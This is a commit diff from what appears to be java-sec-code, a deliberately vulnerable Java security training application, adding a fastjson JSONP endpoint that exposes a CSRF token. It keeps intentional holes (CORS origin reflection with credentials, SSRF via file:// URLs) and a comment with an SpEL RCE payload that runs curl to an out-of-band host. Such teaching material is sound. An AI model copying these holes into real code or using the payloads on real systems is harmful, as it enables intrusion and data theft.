Skip to content

Commit 37925a8

Browse files
committed
add fastjsonp
1 parent 30dd98b commit 37925a8

File tree

14 files changed

+100
-53
lines changed

14 files changed

+100
-53
lines changed

pom.xml

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -248,6 +248,15 @@
248248
<version>2.9.2</version>
249249
</dependency>
250250

251+
<!-- https://mvnrepository.com/artifact/org.projectlombok/lombok -->
252+
<dependency>
253+
<groupId>org.projectlombok</groupId>
254+
<artifactId>lombok</artifactId>
255+
<version>1.18.16</version>
256+
<scope>provided</scope>
257+
</dependency>
258+
259+
251260
</dependencies>
252261

253262
<dependencyManagement>

src/main/java/org/joychou/config/Constants.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,4 +6,5 @@ private Constants() {
66
}
77

88
public static final String REMEMBER_ME_COOKIE = "rememberMe";
9+
public static final String ERROR_PAGE = "https://test.joychou.org/error1.html";
910
}
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package org.joychou.config;
2+
3+
import org.springframework.context.annotation.Bean;
4+
import org.springframework.context.annotation.Configuration;
5+
import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
6+
7+
/**
8+
* Reference: https://docs.spring.io/spring-security/site/docs/5.0.x/reference/html/csrf.html
9+
*/
10+
11+
@Configuration
12+
public class CsrfTokenBean {
13+
14+
@Bean
15+
public CookieCsrfTokenRepository cookieCsrfTokenRepository() {
16+
return CookieCsrfTokenRepository.withHttpOnlyFalse();
17+
}
18+
}

src/main/java/org/joychou/config/CustomCorsConfig.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ public RequestMappingHandlerMapping getRequestMappingHandlerMapping() {
3838

3939

4040
/**
41-
* 自定义Cors处理器
41+
* 自定义Cors处理器,重写了checkOrigin
4242
* 自定义校验origin,支持一级域名校验 && 多级域名
4343
*/
4444
private static class CustomRequestMappingHandlerMapping extends RequestMappingHandlerMapping {

src/main/java/org/joychou/security/Object2Jsonp.java renamed to src/main/java/org/joychou/config/Object2Jsonp.java

Lines changed: 10 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
1-
package org.joychou.security;
1+
package org.joychou.config;
22

33
import org.apache.commons.lang.StringUtils;
4-
import org.joychou.config.WebConfig;
4+
import org.joychou.security.SecurityUtil;
55
import org.slf4j.Logger;
66
import org.slf4j.LoggerFactory;
77
import org.springframework.beans.factory.annotation.Value;
@@ -19,6 +19,7 @@
1919
import javax.servlet.http.HttpServletResponse;
2020

2121

22+
2223
/**
2324
* <code>AbstractJsonpResponseBodyAdvice</code> will be removed as of Spring Framework 5.1, use CORS instead.
2425
* Since Spring Framework 4.1. Springboot 2.1.0 RELEASE use spring framework 5.1.2
@@ -47,7 +48,8 @@ protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaT
4748
HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse();
4849

4950
String realJsonpFunc = getRealJsonpFunc(request);
50-
if (StringUtils.isNotBlank(realJsonpFunc)){
51+
// 如果url带callback,且校验不安全后
52+
if ( StringUtils.isNotBlank(realJsonpFunc) ) {
5153
jsonpReferHandler(request, response);
5254
}
5355
super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res);
@@ -84,9 +86,11 @@ private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse r
8486
if (SecurityUtil.checkURL(refer) == null ){
8587
logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer);
8688
try{
87-
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
88-
response.getWriter().write("forbidden");
89-
response.flushBuffer();
89+
// 使用response.getWriter().write后,后续写入jsonp后还会继续使用response.getWriteer(),导致报错
90+
// response.setStatus(HttpServletResponse.SC_FORBIDDEN);
91+
// response.getWriter().write(" Referer check error.");
92+
// response.flushBuffer();
93+
response.sendRedirect(Constants.ERROR_PAGE);
9094
} catch (Exception e){
9195
logger.error(e.toString());
9296
}

src/main/java/org/joychou/controller/Cookies.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,10 @@
1212

1313
import static org.springframework.web.util.WebUtils.getCookie;
1414

15+
16+
/**
17+
* 某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick或者id,导致越权问题。
18+
*/
1519
@RestController
1620
@RequestMapping("/cookie")
1721
public class Cookies {

src/main/java/org/joychou/controller/Cors.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -25,8 +25,8 @@ public class Cors {
2525
@GetMapping("/vuln/origin")
2626
public String vuls1(HttpServletRequest request, HttpServletResponse response) {
2727
String origin = request.getHeader("origin");
28-
response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
29-
response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie
28+
response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header
29+
response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie
3030
return info;
3131
}
3232

src/main/java/org/joychou/controller/Jsonp.java

Lines changed: 34 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,9 +3,14 @@
33
import com.alibaba.fastjson.JSON;
44
import com.alibaba.fastjson.JSONObject;
55

6+
import com.alibaba.fastjson.JSONPObject;
7+
import lombok.extern.slf4j.Slf4j;
8+
import org.apache.commons.lang.StringUtils;
69
import org.joychou.security.SecurityUtil;
710
import org.joychou.util.LoginUtils;
11+
import org.springframework.beans.factory.annotation.Autowired;
812
import org.springframework.http.MediaType;
13+
import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
914
import org.springframework.security.web.csrf.CsrfToken;
1015
import org.springframework.web.bind.annotation.*;
1116
import org.springframework.web.servlet.ModelAndView;
@@ -14,6 +19,7 @@
1419
import org.joychou.util.WebUtils;
1520

1621
import javax.servlet.http.HttpServletRequest;
22+
import javax.servlet.http.HttpServletResponse;
1723
import java.security.Principal;
1824

1925

@@ -22,12 +28,15 @@
2228
* https://github.com/JoyChou93/java-sec-code/wiki/JSONP
2329
*/
2430

31+
@Slf4j
2532
@RestController
2633
@RequestMapping("/jsonp")
2734
public class Jsonp {
2835

2936
private String callback = WebConfig.getBusinessCallback();
3037

38+
@Autowired
39+
CookieCsrfTokenRepository cookieCsrfTokenRepository;
3140
/**
3241
* Set the response content-type to application/javascript.
3342
* <p>
@@ -57,7 +66,7 @@ public String emptyReferer(HttpServletRequest request) {
5766
}
5867

5968
/**
60-
* Adding callback or cback on parameter can automatically return jsonp data.
69+
* Adding callback or _callback on parameter can automatically return jsonp data.
6170
* http://localhost:8080/jsonp/object2jsonp?callback=test
6271
* http://localhost:8080/jsonp/object2jsonp?_callback=test
6372
*
@@ -101,11 +110,33 @@ public String safecode(HttpServletRequest request) {
101110
return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
102111
}
103112

104-
113+
/**
114+
* http://localhost:8080/jsonp/getToken?fastjsonpCallback=aa
115+
*
116+
* object to jsonp
117+
*/
105118
@GetMapping("/getToken")
106-
public CsrfToken getCsrfToken(CsrfToken token) {
119+
public CsrfToken getCsrfToken1(CsrfToken token) {
107120
return token;
108121
}
109122

123+
/**
124+
* http://localhost:8080/jsonp/fastjsonp/getToken?fastjsonpCallback=aa
125+
*
126+
* fastjsonp to jsonp
127+
*/
128+
@GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript")
129+
public String getCsrfToken2(HttpServletRequest request) {
130+
CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token
131+
132+
String callback = request.getParameter("fastjsonpCallback");
133+
if (StringUtils.isNotBlank(callback)) {
134+
JSONPObject jsonpObj = new JSONPObject(callback);
135+
jsonpObj.addParameter(csrfToken);
136+
return jsonpObj.toString();
137+
} else {
138+
return csrfToken.toString();
139+
}
140+
}
110141

111142
}

src/main/java/org/joychou/controller/SSRF.java

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,10 @@ public class SSRF {
2727

2828

2929
/**
30+
* http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd
31+
*
3032
* The default setting of followRedirects is true.
33+
* Protocol: file ftp mailto http https jar netdoc
3134
* UserAgent is Java/1.8.0_102.
3235
*/
3336
@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})

src/main/java/org/joychou/controller/SpEL.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@
1616
public class SpEL {
1717

1818
/**
19-
* SPEL to RCE
19+
* SpEL to RCE
2020
* http://localhost:8080/spel/vul/?expression=xxx.
2121
* xxx is urlencode(exp)
2222
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")

src/main/java/org/joychou/controller/URLWhiteList.java

Lines changed: 10 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -118,56 +118,33 @@ public String url_bypass(String url) throws MalformedURLException {
118118

119119

120120
/**
121-
* 一级域名白名单 First-level host whitelist.
122-
* http://localhost:8080/url/sec/endswith?url=http://aa.joychou.org
121+
* First-level & Multi-level host whitelist.
122+
* http://localhost:8080/url/sec?url=http://aa.joychou.org
123123
*/
124-
@GetMapping("/sec/endswith")
125-
public String sec_endswith(@RequestParam("url") String url) {
124+
@GetMapping("/sec")
125+
public String sec(@RequestParam("url") String url) {
126126

127-
String whiteDomainlists[] = {"joychou.org", "joychou.com"};
127+
String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"};
128128

129129
if (!SecurityUtil.isHttp(url)) {
130130
return "SecurityUtil is not http or https";
131131
}
132132

133133
String host = SecurityUtil.gethost(url);
134134

135-
// endsWith .
136-
for (String domain : whiteDomainlists) {
137-
if (host.endsWith("." + domain)) {
138-
return "Good url.";
135+
for (String whiteHost: whiteDomainlists){
136+
if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) {
137+
return url;
138+
} else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) {
139+
return url;
139140
}
140141
}
141142

142143
return "Bad url.";
143144
}
144145

145-
/**
146-
* 多级域名白名单 Multi-level host whitelist.
147-
* http://localhost:8080/url/sec/multi_level_hos?url=http://ccc.bbb.joychou.org
148-
*/
149-
@GetMapping("/sec/multi_level_host")
150-
public String sec_multi_level_host(@RequestParam("url") String url) {
151-
String whiteDomainlists[] = {"aaa.joychou.org", "ccc.bbb.joychou.org"};
152-
153-
if (!SecurityUtil.isHttp(url)) {
154-
return "SecurityUtil is not http or https";
155-
}
156-
157-
String host = SecurityUtil.gethost(url);
158-
159-
// equals
160-
for (String domain : whiteDomainlists) {
161-
if (host.equals(domain)) {
162-
return "Good url.";
163-
}
164-
}
165-
return "Bad url.";
166-
}
167-
168146

169147
/**
170-
* 多级域名白名单 Multi-level host whitelist.
171148
* http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
172149
*/
173150
@GetMapping("/sec/array_indexOf")

src/main/java/org/joychou/filter/ReferFilter.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -68,7 +68,7 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
6868
logger.info("[-] URL: " + request.getRequestURL() + "?" + request.getQueryString() + "\t"
6969
+ "Referer: " + refer);
7070
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
71-
response.getWriter().write("forbidden");
71+
response.getWriter().write(" Referer check error.");
7272
response.flushBuffer();
7373
return;
7474
}

src/main/java/org/joychou/security/CustomCorsProcessor.java

Lines changed: 2 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -3,12 +3,9 @@
33
import org.apache.commons.lang.StringUtils;
44
import org.slf4j.Logger;
55
import org.slf4j.LoggerFactory;
6-
import org.springframework.util.CollectionUtils;
76
import org.springframework.web.cors.CorsConfiguration;
87
import org.springframework.web.cors.DefaultCorsProcessor;
98

10-
import java.util.List;
11-
129
public class CustomCorsProcessor extends DefaultCorsProcessor {
1310

1411
private static final Logger logger = LoggerFactory.getLogger(CustomCorsProcessor.class);
@@ -29,7 +26,7 @@ protected String checkOrigin(CorsConfiguration config, String requestOrigin) {
2926
if (result != null) {
3027
return result;
3128
}
32-
// List<String> allowedOrigins = config.getAllowedOrigins();
29+
3330
if (StringUtils.isBlank(requestOrigin)) {
3431
return null;
3532
}
@@ -39,7 +36,7 @@ protected String checkOrigin(CorsConfiguration config, String requestOrigin) {
3936

4037

4138
/**
42-
* 校验requestOrigin
39+
* 自定义校验requestOrigin
4340
*/
4441
private String customCheckOrigin(String requestOrigin) {
4542

src/main/java/org/joychou/util/HttpUtils.java

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
import org.apache.commons.httpclient.methods.GetMethod;
66
import org.apache.commons.io.IOUtils;
77
import org.apache.http.HttpResponse;
8+
import org.apache.http.client.config.RequestConfig;
89
import org.apache.http.client.fluent.Request;
910
import org.apache.http.client.methods.HttpGet;
1011
import org.apache.http.impl.client.CloseableHttpClient;
@@ -70,6 +71,8 @@ public static String httpClient(String url) {
7071

7172
CloseableHttpClient client = HttpClients.createDefault();
7273
HttpGet httpGet = new HttpGet(url);
74+
// set redirect enable false
75+
// httpGet.setConfig(RequestConfig.custom().setRedirectsEnabled(false).build());
7376
HttpResponse httpResponse = client.execute(httpGet); // send request
7477
BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));
7578

@@ -91,6 +94,7 @@ public static String URLConnection(String url) {
9194
URL u = new URL(url);
9295
URLConnection urlConnection = u.openConnection();
9396
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
97+
// BufferedReader in = new BufferedReader(new InputStreamReader(u.openConnection().getInputStream()));
9498
String inputLine;
9599
StringBuilder html = new StringBuilder();
96100

@@ -205,5 +209,4 @@ public static String HttpAsyncClients(String url) {
205209

206210
}
207211

208-
209212
}

0 commit comments

Comments
 (0)